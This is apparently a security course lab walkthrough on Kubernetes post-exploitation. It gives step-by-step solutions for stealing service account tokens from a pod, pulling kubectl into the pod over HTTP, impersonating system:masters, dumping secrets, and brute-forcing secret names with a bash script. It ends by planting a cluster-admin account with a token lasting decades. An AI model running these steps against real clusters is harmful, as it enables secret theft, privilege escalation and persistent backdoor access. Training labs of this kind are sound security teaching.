Lab_08 - Kubernetes Post-Exploitation

Lab 8: Kubernetes Post-Exploitation

1. Kubernetes Tokens

Let's read a token inside a tiller pod.

Hint

Tokens are usually found at "/run/secrets/kubernetes.io/serviceaccount/token" and are readable by all users.

Solution

id   # observe we are not root
ls -la /run/secrets/kubernetes.io/serviceaccount/token
ls -la /run/secrets/kubernetes.io/serviceaccount/..data/token    # Can still read token
cat /run/secrets/kubernetes.io/serviceaccount/token

Ok we have the token, but how can we use it from inside the pod itself?

Hint

Find a way to import the "kubectl" tool in the Pod.

Solution

Run the following command on a node:

cp /usr/bin/kubectl .
python3 -m http.server
ip a    # find ip of node

Enter tiller pod again:

kubectl exec -it -n kube-system tiller-deploy-<RANDOM> -- /bin/ash

Run the following commands in the pod:

cd /tmp
wget <IP>:8000/kubectl
chmod +x kubectl
./kubectl auth whoami
./kubectl auth can-i --list

Note: Replace <IP> with a valid IP where the python server is listening.

2. Impersonating Privileged Accounts

Let's create a user that has access to the "impersonate" verb and see how it can be used.

Solution

Create service account "impersonator":

kubectl create sa impersonator
kubectl create clusterrole impersonate --verb=impersonate --resource=users,groups,uids,serviceaccounts
kubectl create clusterrolebinding impersonate --clusterrole=impersonate --serviceaccount=default:impersonator
kubectl create token impersonator

Let's use the "impersonator" token with kubectl and:

  • list what the impersonator user can do

  • impersonate a privileged group

  • impersonate a privileged service account

Hint

Privileged group: system:masters. Privileged service-account: system:serviceaccount:kube-system:tiller.

Solution

Create token for "impersonator" SA and use it in kubectl:

TOKEN=$(kubectl create token impersonator)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list

Impersonate the "masters" group and a non-existent user:

kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami --as=aaa --as-group=system:masters
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list --as=aaa --as-group=system:masters

Impersonate the "tiller" service account in the "kube-system" namespace:

kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami --as=system:serviceaccount:kube-system:tiller
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list --as=system:serviceaccount:kube-system:tiller

Optional: Put the Kubernetes config which was moved from "/.kube/config" to "/.kube/config.bak" back to it's previous location:

mv ~/.kube/config.bak ~/.kube/config    # optional

3. List & Get Secrets

Let's create 2 service accounts:

  • One has the privilege of listing all secrets in k8s

  • The other has get access on the secrets and list access on the pods and serviceaccounts APIs

Solution

Create service account "list-sec":

kubectl create sa list-sec
kubectl create clusterrole list-sec --verb=list --resource=secrets
kubectl create clusterrolebinding list-sec --clusterrole=list-sec --serviceaccount=default:list-sec

Create service account "read-sec":

kubectl create sa read-sec
kubectl create clusterrole read-sec --verb=get --resource=secrets
kubectl create clusterrolebinding read-sec --clusterrole=read-sec --serviceaccount=default:read-sec
kubectl create clusterrole list-things --verb=list --resource=sa,pods
kubectl create clusterrolebinding read-sec2 --clusterrole=list-things --serviceaccount=default:read-sec

Let's use the "list-sec" account to list and read all secrets.

Solution

LTOKEN=$(kubectl create token list-sec)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$:TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets -o yaml
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets -A
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets -o yaml -A
mv ~/.kube/config.bal ~/.kube/config    # optional

Let's use the "read-sec" account to read the "default" secret.

RTOKEN=$(kubectl create token read-sec)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secret default
mv ~/.kube/config.bal ~/.kube/config    # optional

Although the "read-sec" account can read any secret, we need to know the name of the secret we are trying to read. Let's write a bash/python/etc. script and a set of wordlists to bruteforce the available secrets.

Solution

RTOKEN=$(kubectl create token read-sec)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list

We can use the list pods and list SAs to gain potential sensitive information for our wordlists:

kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get pods -A
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get sa -A

Bash script "bruteforce_secret.sh":

#!/bin/bash

if [[ $# -ne 4 ]]; then
	echo -e "\n\tUSAGE: $0 <http(s)://TARGET:PORT> <TOKEN> <NAMESPACE_FILE> <SECRET_FILE>\n"
	exit
fi

TARGET=$1
TOKEN=$2
NAMESPACE_FILE=$3
SECRET_FILE=$4

result=""
for i in `cat $3`; do
	for j in `cat $4`; do
		echo "Trying: $i - $j"
		x=$(./kubectl --token=$TOKEN -s $TARGET --insecure-skip-tls-verify=true get secret "$j" -n "$i" 2>/dev/null)
		if [[ "$x" != "" ]]; then
			result="$result\nFound: $i - $j \n$x\n"
		fi
	done
done

echo -e "\n\nResults:\n$result"

Example command:

bash bruteforce_secret.sh https://127.0.0.1:6443 $RTOKEN namespaces.lst secrets.lst

Read some of the identified secrets:

kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secret <RANDOM>-mysql -n default -o yaml
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secret default -n kube-system -o yaml

Optional: Put the Kubernetes config which was moved from "/.kube/config" to "/.kube/config.bak" back to it's previous location:

mv ~/.kube/config.bak ~/.kube/config    # optional

4. Create Service Accounts Tokens

Let's create an administrative service account and generate a token that will last for years (>=10 years).

Hint

K8s instances have by default the "cluster-admin" cluster role.

Hint

Use the kubectl "--duration" flag.

Solution

Create user and token:

kubectl create sa mal
kubectl create clusterrolebinding mal_sa --clusterrole=cluster-admin --serviceaccount=default:mal
kubectl create token mal --duration=999999999s

Test token:

TOKEN=$(kubectl create token mal --duration=999999999s)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
mv ~/.kube/config.bak ~/.kube/config    # optional

Last updated